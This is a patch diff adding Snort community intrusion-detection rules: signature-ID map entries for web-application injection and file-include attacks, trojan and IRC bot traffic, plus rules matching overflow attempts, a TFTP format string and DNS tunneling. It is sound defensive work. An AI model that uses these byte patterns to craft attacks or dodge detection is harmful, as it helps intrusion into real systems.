+100000667 || COMMUNITY WEB-PHP Harpia files.php remote file include || bugtraq,18614
+100000668 || COMMUNITY WEB-PHP Harpia pheader.php remote file include || bugtraq,18614
+100000669 || COMMUNITY WEB-PHP Harpia headlines.php remote file include || bugtraq,18614
+100000670 || COMMUNITY WEB-PHP Harpia web_statsConfig.php remote file include || bugtraq,18614
+100000671 || COMMUNITY WEB-PHP Harpia preload.php remote file include || bugtraq,18614
+100000672 || COMMUNITY WEB-PHP Harpia users.php remote file include || bugtraq,18614
+100000673 || COMMUNITY WEB-PHP Harpia web_statsConfig.php remote file include || bugtraq,18614
+100000674 || COMMUNITY WEB-PHP Harpia footer.php remote file include || bugtraq,18614
+100000675 || COMMUNITY WEB-PHP Harpia pfooter.php remote file include || bugtraq,18614
+100000676 || COMMUNITY WEB-PHP Harpia missing.php remote file include || bugtraq,18614
+100000677 || COMMUNITY WEB-PHP Harpia topics.php remote file include || bugtraq,18614
+100000678 || COMMUNITY WEB-PHP Harpia header.php remote file include || bugtraq,18614
+100000679 || COMMUNITY WEB-PHP Harpia index.php remote file include || bugtraq,18614
+100000680 || COMMUNITY WEB-PHP Harpia search.php remote file include || bugtraq,18614
+100000681 || COMMUNITY WEB-PHP Harpia header.php remote file include || bugtraq,18614
+100000682 || COMMUNITY WEB-PHP Harpia email.php remote file include || bugtraq,18614
+100000683 || COMMUNITY WEB-PHP cPanel select.html xss attempt || bugtraq,18655
+100000684 || COMMUNITY VIRUS OutBound Dremn Trojan Beacon || url,symantec.com/avcenter/venc/data/trojan.dremn.html
+100000685 || COMMUNITY VIRUS Answering Dremn Trojan Server || url,symantec.com/avcenter/venc/data/trojan.dremn.html
+100000686 || COMMUNITY DOS EnergyMech parse_notice vulnerability - inbound || bugtraq,18664
+100000687 || COMMUNITY DOS EnergyMech parse_notice vulnerability - outbound || bugtraq,18664
+100000688 || COMMUNITY POLICY Ajax Remote Desktop Connection || url,www.peterdamen.com/ajaxrd/
+100000689 || COMMUNITY SMTP Mytob MAIL FROM Attempt || url,www.symantec.com/avcenter/venc/data/w32.mytob@mm.html
+100000690 || COMMUNITY SQL-INJECTION BXCP Sql Injection attempt || bugtraq,18765 || url,www.milw0rm.com/exploits/1975
+100000691 || COMMUNITY SQL-INJECTION Diesel Joke Script Sql Injection attempt || bugtraq,18760
+100000692 || COMMUNITY WEB-CLIENT midi file download attempt || bugtraq,18507
+100000693 || COMMUNITY WEB-CLIENT winamp midi file header overflow attempt || bugtraq,18507
+100000694 || COMMUNITY WEB-MISC VCard PRO gbrowse.php SQL injection attempt || bugtraq,18699
+100000695 || COMMUNITY WEB-MISC VCard PRO rating.php SQL injection attempt || bugtraq,18699
+100000696 || COMMUNITY WEB-MISC VCard PRO create.php SQL injection attempt || bugtraq,18699
+100000697 || COMMUNITY WEB-MISC VCard PRO search.php SQL injection attempt || bugtraq,18699
+100000698 || COMMUNITY WEB-MISC BXCP index.php SQL injection attempt || bugtraq,18765
+100000699 || COMMUNITY WEB-MISC Vincent Leclercq News diver.php xss attempt || bugtraq,18775
+100000700 || COMMUNITY WEB-MISC Vincent Leclercq News diver.php xss attempt || bugtraq,18775
+100000701 || COMMUNITY WEB-MISC WordPress index.php SQL injection attempt || bugtraq,18779
+100000702 || COMMUNITY WEB-MISC Webvizyon SayfalaAltList.asp MSSQL injection attempt || bugtraq,18899
+100000703 || COMMUNITY WEB-PHP Horde index.php show XSS attempt || bugtraq,18845
+100000704 || COMMUNITY WEB-PHP SmartSiteCMS comment.php remote file include || bugtraq,18697
+100000705 || COMMUNITY WEB-PHP SmartSiteCMS test.php remote file include || bugtraq,18697
+100000706 || COMMUNITY WEB-PHP SmartSiteCMS index.php remote file include || bugtraq,18697
+100000707 || COMMUNITY WEB-PHP SmartSiteCMS inc_adminfoot.php remote file include || bugtraq,18697
+100000708 || COMMUNITY WEB-PHP SmartSiteCMS comedit.php remote file include || bugtraq,18697
+100000709 || COMMUNITY WEB-PHP SquirrelMail search.php xss attempt || bugtraq,18700
+100000710 || COMMUNITY WEB-PHP Xoops MyAds Module annonces-p-f.php SQL injection attempt || bugtraq,18718
+100000711 || COMMUNITY WEB-PHP PHPRaid raids.php remote file include || bugtraq,18719
+100000712 || COMMUNITY WEB-PHP PHPRaid register.php remote file include || bugtraq,18719
+100000713 || COMMUNITY WEB-PHP PHPRaid roster.php remote file include || bugtraq,18719
+100000714 || COMMUNITY WEB-PHP PHPRaid view.php remote file include || bugtraq,18719
+100000715 || COMMUNITY WEB-PHP PHPRaid logs.php remote file include || bugtraq,18719
+100000716 || COMMUNITY WEB-PHP PHPRaid users.php remote file include || bugtraq,18719
+100000717 || COMMUNITY WEB-PHP PHPRaid configuration.php remote file include || bugtraq,18719
+100000718 || COMMUNITY WEB-PHP PHPRaid guilds.php remote file include || bugtraq,18719
+100000719 || COMMUNITY WEB-PHP PHPRaid index.php remote file include || bugtraq,18719
+100000720 || COMMUNITY WEB-PHP PHPRaid locations.php remote file include || bugtraq,18719
+100000721 || COMMUNITY WEB-PHP PHPRaid login.php remote file include || bugtraq,18719
+100000722 || COMMUNITY WEB-PHP PHPRaid lua_output.php remote file include || bugtraq,18719
+100000723 || COMMUNITY WEB-PHP PHPRaid permissions.php remote file include || bugtraq,18719
+100000724 || COMMUNITY WEB-PHP PHPRaid profile.php remote file include || bugtraq,18719
+100000725 || COMMUNITY WEB-PHP PHPRaid view.php SQL injection attempt || bugtraq,18720
+100000726 || COMMUNITY WEB-PHP Vincent-Leclercq News diver.php SQL injection attempt || bugtraq,18729
+100000727 || COMMUNITY WEB-PHP Softbiz Banner Exchange insertmember.php xss attempt || bugtraq,18735
+100000728 || COMMUNITY WEB-PHP Geeklog functions.inc remote file include || bugtraq,18740
+100000729 || COMMUNITY WEB-PHP Geeklog functions.inc remote file include || bugtraq,18740
+100000730 || COMMUNITY WEB-PHP Geeklog BlackList.Examine.class.php remote file include || bugtraq,18740
+100000731 || COMMUNITY WEB-PHP Geeklog DeleteComment.Action.class.php remote file include || bugtraq,18740
+100000732 || COMMUNITY WEB-PHP Geeklog EditIPofURL.Admin.class.php remote file include || bugtraq,18740
+100000733 || COMMUNITY WEB-PHP Geeklog MTBlackList.Examine.class.php remote file include || bugtraq,18740
+100000734 || COMMUNITY WEB-PHP Geeklog MassDelete.Admin.class.php remote file include || bugtraq,18740
+100000735 || COMMUNITY WEB-PHP Geeklog MailAdmin.Action.class.php remote file include || bugtraq,18740
+100000736 || COMMUNITY WEB-PHP Geeklog MassDelTrackback.Admin.class.php remote file include || bugtraq,18740
+100000737 || COMMUNITY WEB-PHP Geeklog EditHeader.Admin.class.php remote file include || bugtraq,18740
+100000738 || COMMUNITY WEB-PHP Geeklog EditIP.Admin.class.php remote file include || bugtraq,18740
+100000739 || COMMUNITY WEB-PHP Geeklog IPofUrl.Examine.class.php remote file include || bugtraq,18740
+100000740 || COMMUNITY WEB-PHP Geeklog Import.Admin.class.php remote file include || bugtraq,18740
+100000741 || COMMUNITY WEB-PHP Geeklog LogView.Admin.class.php remote file include || bugtraq,18740
+100000742 || COMMUNITY WEB-PHP Geeklog functions.inc remote file include || bugtraq,18740
+100000743 || COMMUNITY WEB-PHP Plume CMS dbinstall.php remote file include || bugtraq,18750
+100000744 || COMMUNITY WEB-PHP MyNewsGroups tree.php SQL injection attempt || bugtraq,18757
+100000745 || COMMUNITY WEB-PHP Diesel Joke Site category.php SQL injection attempt || bugtraq,18760
+100000746 || COMMUNITY WEB-PHP Randshop header.inc.php remote file include || bugtraq,18763
+100000747 || COMMUNITY WEB-PHP Plume CMS index.php remote file include || bugtraq,18780
+100000748 || COMMUNITY WEB-PHP Plume CMS rss.php remote file include || bugtraq,18780
+100000749 || COMMUNITY WEB-PHP Plume CMS search.php remote file include || bugtraq,18780
+100000750 || COMMUNITY WEB-PHP Free QBoard index.php remote file include || bugtraq,18788
+100000751 || COMMUNITY WEB-PHP Free QBoard about.php remote file include || bugtraq,18788
+100000752 || COMMUNITY WEB-PHP Free QBoard contact.php remote file include || bugtraq,18788
+100000753 || COMMUNITY WEB-PHP Free QBoard delete.php remote file include || bugtraq,18788
+100000754 || COMMUNITY WEB-PHP Free QBoard faq.php remote file include || bugtraq,18788
+100000755 || COMMUNITY WEB-PHP Free QBoard features.php remote file include || bugtraq,18788
+100000756 || COMMUNITY WEB-PHP Free QBoard history.php remote file include || bugtraq,18788
+100000757 || COMMUNITY WEB-PHP QTO File Manager qtofm.php xss attempt || bugtraq,18791
+100000758 || COMMUNITY WEB-PHP QTO File Manager qtofm.php xss attempt || bugtraq,18791
+100000759 || COMMUNITY WEB-PHP QTO File Manager qtofm.php xss attempt || bugtraq,18791
+100000760 || COMMUNITY WEB-PHP The Banner Engine top.php xss attempt || bugtraq,18793
+100000761 || COMMUNITY WEB-PHP PHPWebGallery comments.php xss attempt || bugtraq,18798
+100000762 || COMMUNITY WEB-PHP Randshop index.php remote file include || bugtraq,18809
+100000763 || COMMUNITY WEB-PHP Kamikaze-QSCM config.inc access || bugtraq,18816
+100000764 || COMMUNITY WEB-PHP MyPHP CMS global_header.php remote file include || bugtraq,18834
+100000765 || COMMUNITY WEB-PHP LifeType index.php SQL injection attempt || bugtraq,18835
+100000766 || COMMUNITY WEB-PHP Blog CMS thumb.php remote file include || bugtraq,18837
+100000767 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000768 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000769 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000770 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000771 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000772 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000773 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000774 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000775 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000776 || COMMUNITY WEB-PHP Blog CMS index.php SQL injection attempt || bugtraq,18839
+100000777 || COMMUNITY WEB-PHP Blog CMS action.php SQL injection attempt || bugtraq,18839
+100000778 || COMMUNITY WEB-PHP PHPMailList maillist.php xss attempt || bugtraq,18840
+100000779 || COMMUNITY WEB-PHP Horde index.php xss attempt || bugtraq,18845
+100000780 || COMMUNITY WEB-PHP Horde problem.php xss attempt || bugtraq,18845
+100000781 || COMMUNITY WEB-PHP Horde go.php xss attempt || bugtraq,18845
+100000782 || COMMUNITY WEB-PHP Horde go.php xss attempt || bugtraq,18845
+100000783 || COMMUNITY WEB-PHP ATutor create_course.php xss attempt || bugtraq,18857
+100000784 || COMMUNITY WEB-PHP ATutor create_course.php xss attempt || bugtraq,18857
+100000785 || COMMUNITY WEB-PHP ATutor password_reminder.php xss attempt || bugtraq,18857
+100000786 || COMMUNITY WEB-PHP ATutor browse.php xss attempt || bugtraq,18857
+100000787 || COMMUNITY WEB-PHP ATutor fix_content.php xss attempt || bugtraq,18857
+100000788 || COMMUNITY WEB-PHP FreeWebshop search.php xss attempt || bugtraq,18878
+100000789 || COMMUNITY WEB-PHP FreeWebshop details.php SQL injection attempt || bugtraq,18878
+100000790 || COMMUNITY WEB-PHP Pivot edit_new.php remote file include || bugtraq,18881
+100000791 || COMMUNITY WEB-PHP Pivot pv_core.php access || bugtraq,18881
+100000792 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000793 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000794 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000795 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000796 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000797 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000798 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000799 || COMMUNITY WEB-PHP Pivot blogroll.php xss attempt || bugtraq,18881
+100000800 || COMMUNITY WEB-PHP Pivot editor_menu.php xss attempt || bugtraq,18881
+100000801 || COMMUNITY WEB-PHP Pivot editor_menu.php xss attempt || bugtraq,18881
+100000802 || COMMUNITY WEB-PHP BosClassifieds index.php remote file include || bugtraq,18883
+100000803 || COMMUNITY WEB-PHP BosClassifieds recent.php remote file include || bugtraq,18883
+100000804 || COMMUNITY WEB-PHP BosClassifieds account.php remote file include || bugtraq,18883
+100000805 || COMMUNITY WEB-PHP BosClassifieds classified.php remote file include || bugtraq,18883
+100000806 || COMMUNITY WEB-PHP BosClassifieds search.php remote file include || bugtraq,18883
+100000807 || COMMUNITY WEB-PHP CommonSense search.php SQL injection attempt || bugtraq,18893
+100000808 || COMMUNITY WEB-PHP AjaxPortal ajaxp.php SQL injection attempt || bugtraq,18897
+100000809 || COMMUNITY WEB-PHP RW Download stats.php remote file include || bugtraq,18901
+100000810 || COMMUNITY WEB-PHP PHPBB download.php remote file include || bugtraq,18914
+100000811 || COMMUNITY WEB-PHP PHPBB attach_rules.php remote file include || bugtraq,18914
+100000812 || COMMUNITY WEB-PHP SimpleBoard SBP index.php remote file include || bugtraq,18917
+100000813 || COMMUNITY WEB-PHP SimpleBoard SBP file_upload.php remote file include || bugtraq,18917
+100000814 || COMMUNITY WEB-PHP SimpleBoard SBP image_upload.php remote file include || bugtraq,18917
+100000815 || COMMUNITY WEB-PHP SimpleBoard SBP performs.php remote file include || bugtraq,18917
+100000816 || COMMUNITY WEB-PHP PC_CookBook pccookbook.php remote file include || bugtraq,18919
+100000817 || COMMUNITY WEB-PHP SMF Forum smf.php remote file include || bugtraq,18924
+100000818 || COMMUNITY WEB-PHP Graffiti Forums topics.php SQL injection attempt || bugtraq,18928
+100000819 || COMMUNITY DELETED PhpWebGallery XSS attempt
+100000820 || COMMUNITY WEB-PHP SaPHPLesson add.php SQL injection attempt || bugtraq,18934
+100000821 || COMMUNITY WEB-PHP VBZooM sub-join.php SQL injection attempt || bugtraq,18937
+100000822 || COMMUNITY WEB-PHP VBZooM reply.php SQL injection attempt || bugtraq,18937
+100000823 || COMMUNITY WEB-PHP VBZooM ignore-pm.php SQL injection attempt || bugtraq,18937
+100000824 || COMMUNITY WEB-PHP VBZooM sendmail.php SQL injection attempt || bugtraq,18937
+100000825 || COMMUNITY WEB-PHP Phorum posting.php xss attempt || bugtraq,18941
+100000826 || COMMUNITY WEB-PHP Phorum search.php SQL injection attempt || bugtraq,18941
+100000827 || COMMUNITY WEB-PHP HiveMail address.view.php xss attempt || bugtraq,18949
+100000828 || COMMUNITY WEB-PHP HiveMail address.view.php xss attempt || bugtraq,18949
+100000829 || COMMUNITY WEB-PHP HiveMail address.view.php xss attempt || bugtraq,18949
+100000830 || COMMUNITY WEB-PHP HiveMail index.php xss attempt || bugtraq,18949
+100000831 || COMMUNITY WEB-PHP HiveMail compose.email.php xss attempt || bugtraq,18949
+100000832 || COMMUNITY WEB-PHP HiveMail read.markas.php xss attempt || bugtraq,18949
+100000833 || COMMUNITY WEB-PHP HiveMail search.results.php SQL injection attempt || bugtraq,18949
+100000834 || COMMUNITY WEB-PHP Lazarus codes-english.php xss attempt || bugtraq,18956
+100000835 || COMMUNITY WEB-PHP Lazarus picture.php xss attempt || bugtraq,18956
+100000836 || COMMUNITY WEB-PHP MiniBB com_minibb.php remote file include || bugtraq,18998
+100000837 || COMMUNITY WEB-PHP MiniBB index.php remote file include || bugtraq,18998
+100000838 || COMMUNITY WEB-PHP PhotoCycle photocycle.php xss attempt || bugtraq,18964
+100000839 || COMMUNITY WEB-PHP PHP Event Calendar calendar.php remote file include || bugtraq,18965
+100000840 || COMMUNITY WEB-PHP FlatNuke index.php remote file include || bugtraq,18966
+100000841 || COMMUNITY WEB-PHP PerForms performs.php remote file include || bugtraq,18968
+100000842 || COMMUNITY WEB-PHP PHPBB 3 memberlist.php SQL injection attempt || bugtraq,18969
+100000843 || COMMUNITY WEB-PHP Koobi Pro index.php xss attempt || bugtraq,18970
+100000844 || COMMUNITY WEB-PHP Koobi Pro index.php SQL injection attempt || bugtraq,18970
+100000845 || COMMUNITY WEB-PHP Invision Power Board ipsclass.php SQL injection attempt || bugtraq,18984
+100000846 || COMMUNITY WEB-PHP Subberz Lite user-func.php remote file include || bugtraq,18990
+100000847 || COMMUNITY WEB-PHP Sitemap sitemap.xml.php remote file include || bugtraq,18991
+100000848 || COMMUNITY DELETED PhpWebGallery XSS attempt || bugtraq,18798
+100000849 || COMMUNITY WEB-PHP IceWarp include.php remote file include || bugtraq,19007
+100000850 || COMMUNITY WEB-PHP IceWarp include.php remote file include || bugtraq,19007
+100000851 || COMMUNITY WEB-PHP IceWarp include.php remote file include || bugtraq,19007
+100000852 || COMMUNITY WEB-PHP IceWarp include.php remote file include || bugtraq,19007
+100000853 || COMMUNITY WEB-PHP IceWarp settings.html remote file include || bugtraq,19007
+100000854 || COMMUNITY WEB-PHP ListMessenger listmessenger.php remote file include || bugtraq,19014
+100000855 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000856 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000857 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000858 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000859 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000860 || COMMUNITY WEB-PHP Francisco Charrua Photo-Gallery room.php SQL injection attempt || bugtraq,19020
+100000861 || COMMUNITY WEB-PHP FlushCMS class.rich.php remote file include || bugtraq,19023
+100000862 || COMMUNITY WEB-PHP FlushCMS class.rich.php remote file include || bugtraq,19023
+100000863 || COMMUNITY WEB-PHP PHPMyRing view_com.php SQL injection attempt || url,secunia.com/advisories/21451/
+100000864 || COMMUNITY WEB-CLIENT tsuserex.dll COM Object Instantiation Vulnerability || url,www.xsec.org/index.php?module=Releases&act=view&type=1&id=14
+100000865 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s01 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000866 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s02 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000867 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s03 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000868 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s04 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000869 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit sid variant || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000870 || COMMUNITY WEB-PHP powergap remote file inclusion exploit sid variant 2 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000871 || COMMUNITY WEB-PHP CubeCart XSS attack || url,retrogod.altervista.org/cubecart_3011_adv.html
+100000872 || COMMUNITY WEB-PHP CubeCart XSS attack || url,retrogod.altervista.org/cubecart_3011_adv.html
+100000873 || COMMUNITY WEB-PHP discloser 0.0.4 Remote File Inclusion
+100000874 || COMMUNITY MISC DLR-TOR Directory server response || url,tor.eff.org
+100000875 || COMMUNITY MISC DLR-TOR Client Traffic || url,tor.eff.org
+100000876 || COMMUNITY MISC Google Talk Version Check
+100000877 || COMMUNITY MISC Google Talk Startup
+100000878 || COMMUNITY WEB-CGI Roller Weblog XSS exploit || bugtraq,20045
+100000879 || COMMUNITY WEB-CGI Roller Weblog XSS exploit || bugtraq,20045
+100000880 || COMMUNITY WEB-CGI Roller Weblog XSS exploit || bugtraq,20045
+100000881 || COMMUNITY WEB-CLIENT ImageMagick SGI ZSIZE Header Information Overflow Attempt || bugtraq,19507 || cve,2006-4144
+100000882 || COMMUNITY WEB-PHP PHP Live Helper globals.php remote file include || bugtraq,19349
+100000883 || COMMUNITY WEB-PHP Inlink remote file inclusion exploit || url,milw0rm.com/exploits/2295
+100000884 || COMMUNITY WEB-MISC SimpleBlog Remote SQL Injection attempt || url,milw0rm.com/exploits/2296
+100000885 || COMMUNITY WEB-PHP pHNews access attempt || url,milw0rm.com/exploits/2298
+100000886 || COMMUNITY WEB-PHP Proxima access attempt || url,milw0rm.com/exploits/2299
+100000887 || COMMUNITY WEB-PHP pmwiki exploit attempt || url,milw0rm.com/exploits/2291
+100000888 || COMMUNITY WEB-PHP tikiwiki exploit attempt || url,milw0rm.com/exploits/2288
+100000889 || COMMUNITY WEB-PHP yappa-ng exploit attempt || url,milw0rm.com/exploits/2292
+100000890 || COMMUNITY WEB-MISC Webmin null char attempt || bugtraq,19820 || nessus,22300
+100000891 || COMMUNITY WEB-MISC Usermin null char attempt || bugtraq,19820 || nessus,22300
+100000892 || COMMUNITY MISC Q.931 Invalid Call Reference Length Buffer Overflow || url,www.ethereal.com/news/item_20050504_01.html || url,www.elook.org/internet/126.html
+100000893 || COMMUNITY POLICY Weather Channel Desktop App Installer
+100000894 || COMMUNITY POLICY Weather Channel Desktop App
+100000895 || COMMUNITY WEB-MISC Blojsom Weblog blog-category-description xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000896 || COMMUNITY WEB-MISC Blojsom Weblog blog-entry-title xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000897 || COMMUNITY WEB-MISC Blojsom Weblog rss-enclosure-url xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000898 || COMMUNITY WEB-MISC Blojsom Weblog technorati-tags xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000899 || COMMUNITY WEB-MISC Blojsom Weblog blog-category-name xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000900 || COMMUNITY BOT Mytob IRC DCC file transfer request || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000901 || COMMUNITY BOT Mytob IRC DCC chat request || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000902 || COMMUNITY BOT Mytob IRC channel join || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000903 || COMMUNITY BOT Mytob IRC dns request || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000904 || COMMUNITY BOT Mytob IRC dns response || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000905 || COMMUNITY BOT Mytob IRC nick change || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000906 || COMMUNITY WEB-PHP UBB.threads remote file include
+100000907 || COMMUNITY WEB-PHP phpMyWebmin change_preferences2 script remote file include || url,www.securityfocus.com/bid/20281/info
+100000908 || COMMUNITY WEB-PHP phpMyWebmin create_file script remote file include || url,www.securityfocus.com/bid/20281/info
+100000909 || COMMUNITY WEB-PHP phpMyWebmin upload_local script remote file include || url,www.securityfocus.com/bid/20281/info
+100000910 || COMMUNITY WEB-PHP phpMyWebmin upload_multi script remote file include || url,www.securityfocus.com/bid/20281/info
+100000911 || COMMUNITY WEB-PHP Dayfox Blog adminlog.php module remote file include || url,www.securityfocus.com/archive/1/447500/30/0/threaded
+100000912 || COMMUNITY WEB-PHP Dayfox Blog postblog.php module remote file include || url,www.securityfocus.com/archive/1/447500/30/0/threaded
+100000913 || COMMUNITY WEB-PHP Dayfox Blog index.php module remote file include || url,www.securityfocus.com/archive/1/447500/30/0/threaded
+100000914 || COMMUNITY WEB-PHP Dayfox Blog index2.php module remote file include || url,www.securityfocus.com/archive/1/447500/30/0/threaded
+100000915 || COMMUNITY WEB-PHP Somery Include.php remote file include || bugtraq,19912
+100000916 || COMMUNITY WEB-PHP MyBulletinBoard Functions_Post.php xss attempt || bugtraq,19770
+100000917 || COMMUNITY WEB-PHP PHP-Dimension functions_kb.php remote file include attempt || bugtraq,20367
+100000918 || COMMUNITY WEB-PHP PHP-Dimension themen_portal_mitte.php remote include attempt || bugtraq,20367
+100000919 || COMMUNITY WEB-PHP Segue CMS themesettings.inc.php remote file include attempt || bugtraq,20640 || cve,2006-5497 || url,osvdb.org/29904 || nessus,22922 || url,www.milw0rm.com/exploits/2600
+100000920 || COMMUNITY WEB-PHP MiniBB bb_func_txt.php pathToFiles variable remote file include || bugtraq,20757 || url,osvdb.org/29971 || nessus,22926
+100000921 || COMMUNITY WEB-PHP PunBB register.php language variable remote file include || bugtraq,20786 || cve,2006-5735 || url,osvdb.org/30132 || nessus,22932
+100000922 || COMMUNITY WEB-PHP Etomite CMS index.php id variable SQL injection || bugtraq,21135 || url,osvdb.org/30442 || url,secunia.com/advisories/22885
+100000923 || COMMUNITY DOS Single-Byte UDP Flood
+100000924 || COMMUNITY POLICY Google SafeSearch off
+100000925 || COMMUNITY-WEB-PHP ADP Forum Attempted Password Recon || url,www.milw0rm.com/exploits/3053
+100000926 || COMMUNITY-WEB-PHP EasyNews PRO News Attempted Password Recon || url,www.milw0rm.com/exploits/3039
+100000927 || COMMUNITY MISC Microsoft Messenger phishing attempt - corrupted registry || url,www.microsoft.com/windowsxp/using/security/learnmore/stopspam.mspx
+100000928 || COMMUNITY EXPLOIT LANDesk Management Suite Alerting Service buffer overflow || bugtraq,23483 || cve,2007-1674
+100000929 || COMMUNITY WEB-PHP Xoops module Articles SQL Injection Exploit || url,www.securityfocus.com/archive/1/463916
+100000930 || COMMUNITY WEB-PHP Drake CMS 404.php Local File Include Vulnerability || bugtraq,23215
+100000931 || COMMUNITY WEB-PHP Softerra Time-Assistant remote include attempt || bugtraq,23203
+100000932 || COMMUNITY WEB-PHP Softerra Time-Assistant remote include attempt || bugtraq,23203
+100000933 || COMMUNITY WEB-PHP Aardvark button/settings_sql.php File Include Vulnerability || url,securityfocus.com/archive/1/464351
+100000934 || COMMUNITY WEB-PHP Aardvark button/new_day.php File Include Vulnerability || url,securityfocus.com/archive/1/464351
--- snort-2.8.5.2.orig/rules/community-misc.rules
+++ snort-2.8.5.2/rules/community-misc.rules
@@ -0,0 +1,48 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-misc.rules,v 1.25 2007/03/05 15:22:49 akirk Exp $
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 5093 (msg:"COMMUNITY MISC Sentinel License Manager overflow attempt"; dsize:>1000; reference:cve,CAN-2005-0353; reference:bugtraq,12742; classtype:attempted-user; sid:100000125; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 2380 (msg:"COMMUNITY MISC GoodTech Telnet Server Buffer Overflow Attempt"; flow:to_server,established; pcre:"/[^\r\n]{1000,}/i"; reference:cve,2005-0768; reference:url,unsecure.altervista.org/security/goodtechtelnet.htm; classtype:attempted-dos; sid:100000126; rev:1;)
+#Rule submitted by rmkml
+alert tcp any any -> any !139 (msg:"COMMUNITY MISC BAD-SSL tcp detect"; flow:stateless; content:"|00 0E|"; depth:4; offset:0; classtype:misc-activity; sid:100000137; rev:1;)
+#Rules submitted by Thierry Chich
+alert tcp any any -> any any (msg:"COMMUNITY MISC streaming RTSP - realplayer"; flow:established; content:"PLAY rtsp|3A 2F 2F|"; depth: 12; classtype:policy-violation; reference:url,www.rtsp.org; sid:100000189; rev:2;)
+alert tcp any any -> any any (msg:"COMMUNITY MISC streaming Windows Mediaplayer"; flow:established; content:"|01 00 00 00 ce fa 0b b0|"; depth: 8; content:"MMS"; distance:4; within:4; classtype:policy-violation; reference:url,www.microsoft.com; sid:100000190; rev:2;)
+#alert udp $EXTERNAL_NET 1023: -> $HOME_NET 123 (msg:"COMMUNITY MISC Ntp fingerprint detect"; dsize:48; content:"|BE 78 2F 1D 19 BA 00 00|"; reference:url,www.arhont.com/ViewPage7422.html?siteNodeId=3&languageId=1&contentId=-1; classtype:attempted-dos; sid:100000198; rev:1;)
+#Rule submitted by rmkml
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 8008 (msg:"COMMUNITY MISC Novell eDirectory iMonitor access"; flow:to_server,established; uricontent:"/nds/"; nocase; reference:bugtraq,14548; reference:cve,2005-2551; reference:nessus,19248; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=18703; classtype:web-application-attack; sid:100000199; rev:1;)
+#Rule submitted jointly by Romain Chartier, Sylvain Sarmejeanne, and Pierre Lalet
+alert udp any any -> any 53 (msg:"COMMUNITY MISC Tunneling IP over DNS with NSTX"; byte_test: 1,>,32,12; content: "|00 10 00 01|"; offset: 12; rawbytes; threshold: type threshold, track by_src, count 50, seconds 60; reference:url,nstx.dereference.de/nstx/; reference:url,slashdot.org/articles/00/09/10/2230242.shtml; classtype:policy-violation; sid:100000208; rev:1;)
+#Rules submitted by Crusoe Researches Team
+alert udp $EXTERNAL_NET any -> $HOME_NET 69 (msg:"COMMUNITY MISC TFTP32 Get Format string attempt"; content:"|00 01 25 2E|"; depth:4; reference:url,www.securityfocus.com/archive/1/422405/30/0/threaded; reference:url,www.critical.lt/?vulnerabilities/200; classtype:attempted-admin; sid:100000222; rev:1;)
